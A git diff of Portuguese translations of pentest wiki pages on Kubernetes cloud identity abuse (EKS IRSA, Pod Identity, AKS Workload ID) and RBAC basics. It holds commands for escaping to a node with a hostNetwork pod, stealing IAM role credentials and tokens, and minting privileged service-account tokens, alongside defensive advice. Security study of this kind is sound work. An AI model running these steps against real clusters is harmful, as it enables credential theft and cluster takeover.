> Como um attacker, se você **encontrar essas annotations** em pods ou namespaces ou um servidor kiam/kube2iam em execução (provavelmente em kube-system), você pode **impersonate every r**ole que já está sendo **used by pods** e mais (se você tiver acesso à AWS account, enumere os roles).
|
||||
|
||||
#### Create Pod with IAM Role
|
||||
|
||||
> [!NOTE]
|
||||
> O IAM role a indicar deve estar na mesma AWS account que o role kiam/kube2iam e esse role deve conseguir acessá-lo.
|
||||
> O IAM role a ser indicado deve estar na mesma AWS account que o role do kiam/kube2iam e esse role deve ser capaz de acessá-lo.
|
||||
```yaml
|
||||
echo 'apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -194,12 +194,12 @@ args: ["-c", "sleep 100000"]' | kubectl apply -f -
|
||||
```
|
||||
### IAM Role para K8s Service Accounts via OIDC <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
|
||||
|
||||
Esta é a **forma recomendada pela AWS**.
|
||||
Este é o **método recomendado pela AWS**.
|
||||
|
||||
1. Primeiro, você precisa [criar um OIDC provider para o cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
|
||||
2. Depois, você cria uma IAM role com as permissões que o SA vai precisar.
|
||||
3. Crie uma [trust relationship entre a IAM role e o nome do SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) (ou os namespaces, dando acesso da role a todos os SAs do namespace). _A trust relationship vai verificar principalmente o nome do OIDC provider, o nome do namespace e o nome do SA_.
|
||||
4. Por fim, **crie um SA com uma annotation indicando o ARN da role**, e os pods executando com esse SA terão **access ao token da role**. O **token** é **written** dentro de um arquivo e o path é especificado em **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
|
||||
1. Primeiro, você precisa [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
|
||||
2. Então, você cria uma IAM role com as permissions que a SA vai require.
|
||||
3. Create a [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) name (ou os namespaces giving access to the role to all the SAs do namespace). _A trust relationship will mainly check the OIDC provider name, the namespace name and the SA name_.
|
||||
4. Finalmente, **crie uma SA com uma annotation indicando o ARN da role**, e os pods running with that SA will have **access to the token of the role**. O **token** é **written** dentro de um file e o path é especificado em **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
|
||||
```bash
|
||||
# Create a service account with a role
|
||||
cat >my-service-account.yaml <<EOF
|
||||
@@ -216,27 +216,70 @@ kubectl apply -f my-service-account.yaml
|
||||
# Add a role to an existent service account
|
||||
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
|
||||
```
|
||||
Para **obter aws usando o token** de `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` execute:
|
||||
Para **obter aws usando o token** de `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`, execute:
|
||||
```bash
|
||||
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
|
||||
```
|
||||
> [!WARNING]
|
||||
> Como atacante, se você consegue enumerar um cluster K8s, verifique por **service accounts com essa annotation** para **escalar para AWS**. Para isso, basta **exec/create** um **pod** usando uma das IAM **privileged service accounts** e roubar o token.
|
||||
> Como um attacker, se você conseguir enumerar um cluster K8s, verifique **service accounts com essa annotation** para **escalate para AWS**. Para isso, basta **exec/create** um **pod** usando uma das IAM **privileged service accounts** e steal o token.
|
||||
>
|
||||
> Além disso, se você estiver dentro de um pod, verifique variáveis de ambiente como **AWS_ROLE_ARN** e **AWS_WEB_IDENTITY_TOKEN.**
|
||||
|
||||
> [!CAUTION]
|
||||
> Às vezes, a **Turst Policy de um role** pode estar **mal configurada** e, em vez de conceder acesso AssumeRole à service account esperada, ela concede a **todas as service accounts**. Portanto, se você for capaz de gravar uma annotation em uma service account controlada, você pode acessar o role.
|
||||
> Às vezes a **Turst Policy de uma role** pode estar **bad configured** e, em vez de conceder acesso AssumeRole ao expected service account, ela concede a **todas as service accounts**. Portanto, se você for capaz de escrever uma annotation em uma controlled service account, você pode acessar a role.
|
||||
>
|
||||
> Verifique a **seguinte página para mais informações**:
|
||||
> Verifique a **following page for more information**:
|
||||
|
||||
{{#ref}}
|
||||
../aws-security/aws-basic-information/aws-federation-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### EKS Pod Identity
|
||||
|
||||
EKS Pod Identity é a forma mais nova gerenciada pela AWS para associar uma IAM role a um Kubernetes service account sem depender de cada workload chamar STS com um IRSA web identity token. O cluster executa o EKS Pod Identity Agent nos nodes, a EKS API armazena pod identity associations, e AWS SDKs em pods selecionados obtêm credentials através do caminho do container credentials provider exposto pelo agent.
|
||||
|
||||
Do Kubernetes, a evidência interessante ainda é a relação entre service account e pod, mas os sinais em runtime são diferentes do IRSA. Procure por variáveis de ambiente de AWS container credential em pods em vez de apenas `AWS_WEB_IDENTITY_TOKEN_FILE`:
|
||||
```bash
|
||||
kubectl get pods -A -o yaml | grep -nE 'AWS_CONTAINER_CREDENTIALS|AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE|AWS_ROLE_ARN|AWS_WEB_IDENTITY_TOKEN_FILE'
|
||||
kubectl get serviceaccounts -A -o yaml | grep -nE 'eks.amazonaws.com|role-arn'
|
||||
kubectl get ds -A | grep -i 'pod.identity\|eks-pod-identity'
|
||||
```
|
||||
Do AWS, enumere as associations e então mapeie-as de volta para namespaces e service accounts do Kubernetes:
|
||||
```bash
|
||||
aws eks list-pod-identity-associations --cluster-name <cluster>
|
||||
aws eks describe-pod-identity-association \
|
||||
--cluster-name <cluster> \
|
||||
--association-id <association-id>
|
||||
```
|
||||
Dentro de um pod associado, os principais indicadores de runtime são as variáveis do container credentials provider injetadas por EKS:
|
||||
```bash
|
||||
env | grep -E '^AWS_CONTAINER_(CREDENTIALS_FULL_URI|AUTHORIZATION_TOKEN_FILE)='
|
||||
ls -l /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/ 2>/dev/null
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
O endpoint de credenciais local normalmente é `http://169.254.170.23/v1/credentials` e o token de autorização é um projected service account token para a audience `pods.eks.amazonaws.com`. Lembre-se de que a ordem do AWS SDK credential-provider ainda se aplica: se credenciais estáticas de ambiente ou shared credential files estiverem configuradas antes na cadeia, o pod pode usar essas em vez da Pod Identity association.
|
||||
|
||||
As roles de Pod Identity normalmente confiam no service principal `pods.eks.amazonaws.com` para `sts:AssumeRole` e `sts:TagSession`. Revise as condições da trust-policy em request tags como `kubernetes-namespace`, `kubernetes-service-account` e cluster tags, porque condições amplas podem tornar uma reusable role disponível para service accounts demais. O Pod Identity também adiciona session tags às temporary credentials, e essas tags podem acionar políticas ABAC, como acesso a recursos com base em `${aws:PrincipalTag/kubernetes-namespace}` ou `${aws:PrincipalTag/kubernetes-service-account}`.
|
||||
|
||||
Para acesso cross-account, uma Pod Identity association pode usar uma role do mesmo account que faz chain para uma target role em outro account. Nesse caso, revise ambas as camadas: a role da associação do EKS e a trust/policy da target role. As session tags do Pod Identity são transitive através da role chain, então são evidência útil para provar qual cluster namespace e service account acessou o remote account.
|
||||
|
||||
> [!WARNING]
|
||||
> Se você puder criar ou modificar pods que usam um service account com uma EKS Pod Identity association, teste se esse pod recebe permissões AWS úteis. Se estiver defendendo, alerte sobre novas pod identity associations, uso inesperado de service account e chamadas de AWS API de roles que deveriam ser usadas apenas por workloads específicos.
|
||||
|
||||
### EKS governance guardrails
|
||||
|
||||
Ao revisar o EKS pelo lado da AWS, lembre-se de que IAM e AWS Organizations guardrails podem negar configurações inseguras do cluster mesmo quando um principal tem permissões amplas de EKS. As condition keys recentes do EKS cobrem configurações do cluster como acesso ao endpoint público ou privado, versão do Kubernetes, KMS keys para secrets-encryption, deletion protection, control-plane scaling tier e configuração de zonal shift. Essas keys podem ser usadas em IAM policies ou Service Control Policies para impor baselines de cluster em todo o account.
|
||||
|
||||
Isso importa tanto para o impacto do ataque quanto para a triagem. Se um principal puder chamar `eks:UpdateClusterConfig`, mas um SCP negar a ativação de um endpoint público por meio de `eks:endpointPublicAccess`, reporte a tentativa de ação arriscada e o guardrail que a bloqueou em vez de afirmar que houve exposição da API pública. Para defensores, alerte sobre mudanças de configuração do EKS negadas, assim como mudanças bem-sucedidas, porque tentativas negadas podem revelar automação comprometida, roles de admin obsoletas ou reconhecimento antes de um pivot para um account menos protegido.
|
||||
|
||||
Referências úteis:
|
||||
|
||||
- [Amazon EKS IAM condition keys](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonelastickubernetesservice.html)
|
||||
- [AWS Organizations service control policies](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html)
|
||||
|
||||
### Find Pods a SAs with IAM Roles in the Cluster
|
||||
|
||||
Este é um script para iterar facilmente sobre todas as definições de **pods e sas** **procurando** por essa **annotation**:
|
||||
Este é um script para facilmente **iterar por todos os pods e definições de sas** **procurando** por essa **annotation**:
|
||||
```bash
|
||||
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
@@ -255,24 +298,24 @@ done | grep -B 1 "amazonaws.com"
|
||||
```
|
||||
### Node IAM Role to cluster-admin
|
||||
|
||||
A seção anterior falava sobre como roubar IAM Roles com pods, mas note que um **Node do** cluster K8s vai ser uma **instance dentro da cloud**. Isso significa que o Node provavelmente vai **ter um IAM role que você pode roubar** (_note que usually todos os nodes de um cluster K8s vão ter o mesmo IAM role, então talvez não valha a pena tentar checar em cada node_).
|
||||
A seção anterior tratava de como roubar IAM Roles com pods, mas note que um **Node do** cluster K8s vai ser uma **instance dentro da cloud**. Isso significa que é altamente provável que o Node vá **ter um IAM role que você pode roubar** (_note que usually todos os nodes de um cluster K8s vão ter o mesmo IAM role, então talvez não valha a pena tentar verificar em cada node_).
|
||||
|
||||
Para acessar o metadata endpoint do node, você precisa:
|
||||
- Estar em um pod e ter o metadata endpoint configurado para pelo menos 2 tcp hops. Esta é a configuração incorreta mais comum, já que normalmente diferentes pods no cluster vão precisar de acesso ao metadata endpoint para não quebrar, e várias empresas simplesmente decidem permitir acesso ao metadata endpoint a partir de todos os pods do cluster.
|
||||
- Estar em um pod com `hostNetwork` habilitado.
|
||||
- Escape para o node e acessar o metadata endpoint diretamente.
|
||||
Para acessar o node metadata endpoint, você precisa:
|
||||
- Estar em um pod e ter o metadata endpoint configurado para pelo menos 2 tcp hops. Essa é a misconfiguration mais comum, pois normalmente diferentes pods no cluster vão precisar de acesso ao metadata endpoint para não quebrar, e várias companies simplesmente decidem permitir acesso ao metadata endpoint a partir de todos os pods no cluster.
|
||||
- Estar em um pod com `hostNetwork` enabled.
|
||||
- Escape to the node e acessar o metadata endpoint diretamente.
|
||||
|
||||
(Note que o metadata endpoint fica em 169.254.169.254 como sempre).
|
||||
|
||||
Em ambientes EKS mais novos, verifique o modo do node e do cluster antes de assumir que os pods conseguem alcançar o node instance profile. As AMIs Amazon Linux 2023 EKS optimized definem o IMDS hop limit como 1 por padrão, e o EKS Auto Mode habilita `disablePodIMDS` por padrão, então pods normais não devem receber credenciais do node-role, a menos que o operador tenha alterado essas configurações ou o pod tenha outro caminho em nível de node, como `hostNetwork` ou comprometimento do node. O padrão recomendado é bloquear o acesso dos pods ao node IMDS e usar IRSA ou EKS Pod Identity para permissões AWS da workload.
|
||||
Em ambientes EKS mais novos, verifique o node e o cluster mode antes de assumir que pods conseguem alcançar o node instance profile. As Amazon Linux 2023 EKS optimized AMIs definem o IMDS hop limit como 1 por default, e o EKS Auto Mode habilita `disablePodIMDS` por default, então pods comuns não devem receber node-role credentials a menos que o operator tenha alterado essas configurações ou o pod tenha outro caminho no nível do node, como `hostNetwork` ou compromise do node. O padrão recomendado é bloquear o acesso de pods ao node IMDS e usar IRSA ou EKS Pod Identity para AWS permissions de workload.
|
||||
|
||||
Para **escape to the node** você pode usar o seguinte comando para executar um pod com `hostNetwork` habilitado:
|
||||
Para **escape to the node** você pode usar o seguinte command para rodar um pod com `hostNetwork` enabled:
|
||||
```bash
|
||||
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
|
||||
```
|
||||
### Roubar Token de IAM Role
|
||||
### Roubar IAM Role Token
|
||||
|
||||
Anteriormente, discutimos como **anexar IAM Roles a Pods** ou até mesmo como **escapar para o Node para roubar o IAM Role** que a instância tem anexado a ele.
|
||||
Anteriormente, discutimos como **anexar IAM Roles aos Pods** ou até mesmo como **escapar para o Node para roubar o IAM Role** que a instância tem anexado a ele.
|
||||
|
||||
Você pode usar o seguinte script para **roubar** suas novas e arduamente conquistadas **credenciais do IAM role**:
|
||||
```bash
|
||||
@@ -287,11 +330,11 @@ fi
|
||||
```
|
||||
### Privesc to cluster-admin
|
||||
|
||||
Em resumo: se for possível **acessar a função IAM do Node do EKS** a partir de um pod, é possível **comprometer o cluster kubernetes inteiro**.
|
||||
Em resumo: se for possível **access the EKS Node IAM role** a partir de um pod, é possível **compromise the full kubernetes cluster**.
|
||||
|
||||
Para mais informações, veja [este post](https://blog.calif.io/p/privilege-escalation-in-eks). Em resumo, a função IAM padrão do EKS que é atribuída aos nodes do EKS por padrão recebe a role `system:node` dentro do cluster. Essa role é muito interessante, embora seja limitada pelas [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction) do kubernetes.
|
||||
Para mais informações, veja [this post](https://blog.calif.io/p/privilege-escalation-in-eks). Em resumo, o default IAM EKS role que é atribuído aos EKS nodes por padrão recebe o role `system:node` dentro do cluster. Este role é muito interessante, embora seja limitado pelas kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction).
|
||||
|
||||
No entanto, o node sempre pode **gerar tokens para service accounts** executando em pods dentro do node. Então, se o node estiver executando um pod com uma service account privilegiada, o node pode gerar um token para essa service account e usá-lo para se passar pela service account como em:
|
||||
No entanto, o node sempre pode **generate tokens for service accounts** executando em pods dentro do node. Então, se o node estiver executando um pod com um privileged service account, o node pode gerar um token para esse service account e usá-lo para impersonate o service account, como em:
|
||||
```bash
|
||||
kubectl --context=node1 create token -n ns1 sa-priv \
|
||||
--bound-object-kind=Pod \
|
||||
@@ -300,11 +343,11 @@ kubectl --context=node1 create token -n ns1 sa-priv \
|
||||
```
|
||||
## Azure / AKS
|
||||
|
||||
No AKS, mantenha três caminhos de identidade separados durante a assessment:
|
||||
Em AKS, mantenha três caminhos de identity separados durante a assessment:
|
||||
|
||||
- **Azure to Kubernetes**: Principals do Azure podem recuperar kubeconfigs de usuário ou administrador por meio do Azure Resource Manager se seu role de Azure RBAC permitir. Kubeconfigs de admin local de `az aks get-credentials --admin` são credenciais baseadas em certificado e podem contornar a governança normal de usuário/grupo do Microsoft Entra, a menos que local accounts estejam desabilitadas.
|
||||
- **Microsoft Entra to Kubernetes**: Clusters integrados ao Entra autenticam users, groups ou service principals por meio de kubeconfigs `kubelogin`/exec. A ação final do Kubernetes pode ser autorizada por native Kubernetes RBAC ou por Azure RBAC for Kubernetes Authorization.
|
||||
- **Kubernetes to Azure**: Pods normalmente devem usar Microsoft Entra Workload ID, que troca projected Kubernetes service account tokens com o Entra por meio do AKS OIDC issuer e federated identity credentials.
|
||||
- **Azure para Kubernetes**: Azure principals podem recuperar kubeconfigs de usuário ou admin através do Azure Resource Manager se sua Azure RBAC role permitir. Kubeconfigs de admin local de `az aks get-credentials --admin` são credentials baseadas em certificado e podem contornar a governança normal de Microsoft Entra user/group, a menos que contas locais estejam desabilitadas.
|
||||
- **Microsoft Entra para Kubernetes**: clusters integrados ao Entra autenticam users, groups ou service principals através de `kubelogin`/exec kubeconfigs. A ação final do Kubernetes pode ser autorizada por native Kubernetes RBAC ou por Azure RBAC for Kubernetes Authorization.
|
||||
- **Kubernetes para Azure**: Pods normalmente devem usar Microsoft Entra Workload ID, que troca projected Kubernetes service account tokens com o Entra através do AKS OIDC issuer e federated identity credentials.
|
||||
|
||||
Useful AKS identity checks from Azure:
|
||||
```bash
|
||||
@@ -316,7 +359,7 @@ AKS_ID=$(az aks show -g <resource-group> -n <cluster> --query id -o tsv)
|
||||
az role assignment list --scope "$AKS_ID" --include-inherited -o table
|
||||
az role assignment list --scope "$AKS_ID/namespaces/<namespace>" -o table
|
||||
```
|
||||
Do Kubernetes, procure sinais de AKS Workload ID:
|
||||
De Kubernetes, procure sinais do AKS Workload ID:
|
||||
```bash
|
||||
kubectl get serviceaccounts -A -o yaml | grep -n 'azure.workload.identity' -B 6 -A 8
|
||||
kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use' -B 8 -A 8
|
||||
@@ -332,21 +375,43 @@ metadata:
|
||||
labels:
|
||||
azure.workload.identity/use: "true"
|
||||
```
|
||||
Se o cluster ainda usa o modelo descontinuado de Microsoft Entra pod-managed identity, procure os antigos CRDs e os componentes NMI/MIC em vez das anotações de Workload ID:
|
||||
Ambientes AKS mais novos podem usar **AKS Identity Bindings** (preview) para escalar Workload ID em muitos clusters ou service accounts sem criar uma federated identity credential por subject. Nesse modelo, uma user-assigned managed identity é vinculada ao cluster AKS, workloads fazem opt-in com `azure.workload.identity/use-identity-binding: "true"`, e o Kubernetes RBAC concede `use-managed-identity` em recursos `cid.wi.aks.azure.com` nomeados após os client IDs da managed identity. Um `ClusterRoleBinding` amplo aqui pode expor a mesma Azure identity a mais namespaces do que o esperado, mesmo que os subjects diretos da federated identity credential pareçam restritos.
|
||||
```bash
|
||||
az aks identity-binding list -g <resource-group> --cluster-name <cluster> -o yaml
|
||||
kubectl get clusterrole,clusterrolebinding -o yaml | grep -n 'cid.wi.aks.azure.com\|use-managed-identity' -B 8 -A 12
|
||||
kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use-identity-binding' -B 8 -A 12
|
||||
```
|
||||
Se o cluster ainda usar o modelo deprecated Microsoft Entra pod-managed identity, procure os antigos CRDs e os componentes NMI/MIC em vez das anotações do Workload ID:
|
||||
```bash
|
||||
kubectl get crd | grep -i azureidentity
|
||||
kubectl get azureidentity,azureidentitybinding,azureassignedidentity -A -o yaml 2>/dev/null
|
||||
kubectl get ds -A | grep -Ei 'nmi|mic|aad-pod-identity'
|
||||
```
|
||||
Os nós do AKS são instâncias de Azure VM scale set, então acesso em nível de node ou host pode expor o Azure Instance Metadata Service em `169.254.169.254`. Não assuma que um pod comum deve receber credenciais da managed identity do node: verifique first as configurações de workload identity, o comportamento legado de pod identity/NMI, o uso de hostNetwork, os controles de network e o acesso ao node. Se uma node identity tiver permissões amplas no Azure, o compromisso do node pode se tornar um Azure pivot mesmo quando o Workload ID da aplicação estiver corretamente restrito.
|
||||
Os nós do AKS são instâncias de Azure VM scale set, então acesso no nível do nó ou do host pode expor o Azure Instance Metadata Service em `169.254.169.254`. Não assuma que um pod comum deve receber credenciais da managed identity do nó: verifique primeiro as configurações de Workload ID, o comportamento legado de pod identity/NMI, o uso de hostNetwork, os controles de rede e o acesso ao nó. Se uma node identity tiver permissões amplas no Azure, o comprometimento do nó pode se tornar um pivot no Azure mesmo quando a Workload ID da aplicação estiver corretamente restrita.
|
||||
|
||||
## References
|
||||
AKS Automatic e Node Auto-Provisioning (NAP) mudam as evidências do lado do nó que você deve coletar. O AKS Automatic pré-configura vários defaults de produção, incluindo suporte a Workload ID/OIDC, managed node pools, bloqueio do node resource group e comportamento de upgrade gerenciado. O NAP é o modo de provisionamento gerenciado baseado em Karpenter e usa recursos do Kubernetes como `NodePool`, `AKSNodeClass` e `NodeClaim` para decidir quais nós são criados para workloads pendentes. Revise quem pode modificar esses recursos, controles de agendamento de alto impacto, privileged pods e broad tolerations; verifique também se o node resource group lockdown bloqueou edições diretas de VMSS/load balancer e forçou mudanças de volta por meio das APIs do Kubernetes ou do AKS.
|
||||
```bash
|
||||
az aks show -g <resource-group> -n <cluster> \
|
||||
--query '{sku:sku,nodeProvisioningProfile:nodeProvisioningProfile,autoUpgradeProfile:autoUpgradeProfile,nodeResourceGroup:nodeResourceGroup,securityProfile:securityProfile}' \
|
||||
-o yaml
|
||||
|
||||
kubectl get crd | grep -Ei 'nodepool|aksnodeclass|nodeclaim|karpenter'
|
||||
kubectl get nodepools,aksnodeclasses,nodeclaims -A -o yaml 2>/dev/null
|
||||
```
|
||||
## Referências
|
||||
|
||||
- [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)
|
||||
- [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)
|
||||
- [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/)
|
||||
- [https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html](https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html)
|
||||
- [https://docs.aws.amazon.com/eks/latest/userguide/pod-id-how-it-works.html](https://docs.aws.amazon.com/eks/latest/userguide/pod-id-how-it-works.html)
|
||||
- [https://learn.microsoft.com/en-us/azure/aks/concepts-identity](https://learn.microsoft.com/en-us/azure/aks/concepts-identity)
|
||||
- [https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview](https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/aks/identity-bindings-concepts](https://learn.microsoft.com/en-us/azure/aks/identity-bindings-concepts)
|
||||
- [https://learn.microsoft.com/en-us/azure/aks/identity-bindings](https://learn.microsoft.com/en-us/azure/aks/identity-bindings)
|
||||
- [https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization](https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization)
|
||||
- [https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic](https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic)
|
||||
- [https://learn.microsoft.com/en-us/azure/aks/node-auto-provisioning](https://learn.microsoft.com/en-us/azure/aks/node-auto-provisioning)
|
||||
- [https://learn.microsoft.com/en-us/azure/aks/node-resource-group-lockdown](https://learn.microsoft.com/en-us/azure/aks/node-resource-group-lockdown)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
+28
-19
@@ -2,39 +2,45 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Role-Based Access Control (RBAC)
|
||||
## Controle de Acesso Baseado em Funções (RBAC)
|
||||
|
||||
Kubernetes tem um **módulo de autorização chamado Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) que ajuda a definir permissões de uso para o API server.
|
||||
Kubernetes tem um **módulo de autorização chamado Controle de Acesso Baseado em Funções** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) que ajuda a definir permissões de uso para o API server.
|
||||
|
||||
O modelo de permissões do RBAC é construído a partir de **três partes individuais**:
|
||||
|
||||
1. **Role\ClusterRole –** A permissão em si. Contém _**rules**_ que representam um conjunto de permissões. Cada rule contém [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) e [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb). O verb é a ação que será aplicada ao resource.
|
||||
1. **Role\ClusterRole –** A permissão real. Ela contém _**rules**_ que representam um conjunto de permissões. Cada rule contém [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) e [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb). O verb é a ação que será aplicada ao resource.
|
||||
2. **Subject (User, Group or ServiceAccount) –** O objeto que receberá as permissões.
|
||||
3. **RoleBinding\ClusterRoleBinding –** A conexão entre Role\ClusterRole e o subject.
|
||||
|
||||

|
||||
|
||||
A diferença entre “**Roles**” e “**ClusterRoles**” é apenas onde o role será aplicado – um “**Role**” concederá acesso apenas a **um** **namespace** **específico**, enquanto um “**ClusterRole**” pode ser usado em **todos os namespaces** no cluster. Além disso, **ClusterRoles** também podem conceder acesso a:
|
||||
A diferença entre “**Roles**” e “**ClusterRoles**” é apenas onde o role será aplicado – um “**Role**” concederá acesso apenas a **um** **namespace** **específico**, enquanto um “**ClusterRole**” pode ser usado em **todos os namespaces** do cluster. Além disso, **ClusterRoles** também podem conceder acesso a:
|
||||
|
||||
- resources com escopo de **cluster** (como nodes).
|
||||
- endpoints **non-resource** (como /healthz).
|
||||
- resources com namespace (como Pods), **em todos os namespaces**.
|
||||
|
||||
A partir do **Kubernetes** 1.6, as políticas de **RBAC** são **habilitadas por padrão**. Mas para habilitar RBAC você pode usar algo como:
|
||||
A partir do **Kubernetes** 1.6, políticas de **RBAC** são **ativadas por padrão**. Mas para habilitar RBAC você pode usar algo como:
|
||||
```
|
||||
kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options
|
||||
```
|
||||
Clusters modernos também podem configurar a cadeia de authorizer do API server com `--authorization-config`, que aponta para um arquivo `AuthorizationConfiguration`. Esse arquivo pode definir authorizers ordenados, múltiplos webhook authorizers, timeouts de webhook, `failurePolicy`, configurações de cache e `matchConditions` de CEL que decidem quais requests são enviados para um webhook. Durante uma revisão de segurança, não pare em `--authorization-mode` se `--authorization-config` estiver presente: leia o arquivo referenciado e verifique se um webhook pode falhar aberto com `NoOpinion`, se as match conditions pulam recursos sensíveis e se todas as réplicas do API server usam uma configuração de autorização equivalente.
|
||||
|
||||
Também verifique a configuração de authentication ao revisar a exposição anônima da API. `--authentication-config` pode restringir o anonymous authenticator a paths específicos como `/livez`, `/readyz` e `/healthz`. O acesso anônimo aos endpoints de health não é o mesmo que acesso anônimo a recursos do Kubernetes; a condição perigosa é um caminho de RBAC ou authorizer que permita que `system:anonymous` ou `system:unauthenticated` leia ou modifique objetos reais da API.
|
||||
|
||||
Por fim, trate a membresia em `system:masters` como equivalente a cluster-admin. Usuários ou certificados nesse grupo têm acesso irrestrito à API que contorna as restrições normais de RBAC e webhook authorization, então mappings de identidade que adicionam esse grupo podem ser mais importantes do que a saída comum de RoleBinding.
|
||||
|
||||
## Templates
|
||||
|
||||
No template de uma **Role** ou **ClusterRole** você precisará indicar o **nome da role**, o **namespace** (em roles) e então os **apiGroups**, **resources** e **verbs** da role:
|
||||
No template de um **Role** ou de um **ClusterRole** você precisará indicar o **nome do role**, o **namespace** (em roles) e depois os **apiGroups**, **resources** e **verbs** do role:
|
||||
|
||||
- O **apiGroups** é um array que contém os diferentes **espaços de nomes da API** aos quais essa regra se aplica. Por exemplo, uma definição de Pod usa apiVersion: v1. _Ela pode ter valores como rbac.authorization.k8s.io ou \[\*]_.
|
||||
- O **resources** é um array que define **a quais resources esta regra se aplica**. Você pode encontrar todos os resources com: `kubectl api-resources --namespaced=true`
|
||||
- O **verbs** é um array que contém os **verbs permitidos**. O verb em Kubernetes define o **tipo de ação** que você precisa aplicar ao resource. Por exemplo, o verb list é usado contra collections enquanto "get" é usado contra um único resource.
|
||||
- **apiGroups** é um array que contém os diferentes **namespaces de API** aos quais essa rule se aplica. Por exemplo, uma definição de Pod usa apiVersion: v1. _Ela pode ter valores como rbac.authorization.k8s.io ou \[\*]_.
|
||||
- **resources** é um array que define **a quais resources essa rule se aplica**. Você pode encontrar todos os resources com: `kubectl api-resources --namespaced=true`
|
||||
- **verbs** é um array que contém os **verbs permitidos**. O verb no Kubernetes define o **tipo de action** que você precisa aplicar ao resource. Por exemplo, o verb list é usado em collections, enquanto "get" é usado em um único resource.
|
||||
|
||||
### Rules Verbs
|
||||
|
||||
(_Estas informações foram retiradas de_ [_**the docs**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/index.html#determine-the-request-verb))
|
||||
(_Esta info foi retirada de_ [_**the docs**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/index.html#determine-the-request-verb))
|
||||
|
||||
| HTTP verb | request verb |
|
||||
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
@@ -42,16 +48,18 @@ No template de uma **Role** ou **ClusterRole** você precisará indicar o **nome
|
||||
| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) |
|
||||
| PUT | update |
|
||||
| PATCH | patch |
|
||||
| DELETE | delete (for individual resources), deletecollection (for collections) |
|
||||
| DELETE | delete (for individual resources), deletecollection (for collections) |
|
||||
|
||||
Às vezes, Kubernetes verifica a autorização para permissões adicionais usando verbs especializados. Por exemplo:
|
||||
Kubernetes às vezes verifica authorization para permissões adicionais usando verbs especializados. Por exemplo:
|
||||
|
||||
- [PodSecurityPolicy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)
|
||||
- verb `use` em resources `podsecuritypolicies` no API group `policy`.
|
||||
- [RBAC](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping)
|
||||
- verbs `bind` e `escalate` em resources `roles` e `clusterroles` no API group `rbac.authorization.k8s.io`.
|
||||
- [Authentication](https://kubernetes.io/docs/reference/access-authn-authz/authentication/)
|
||||
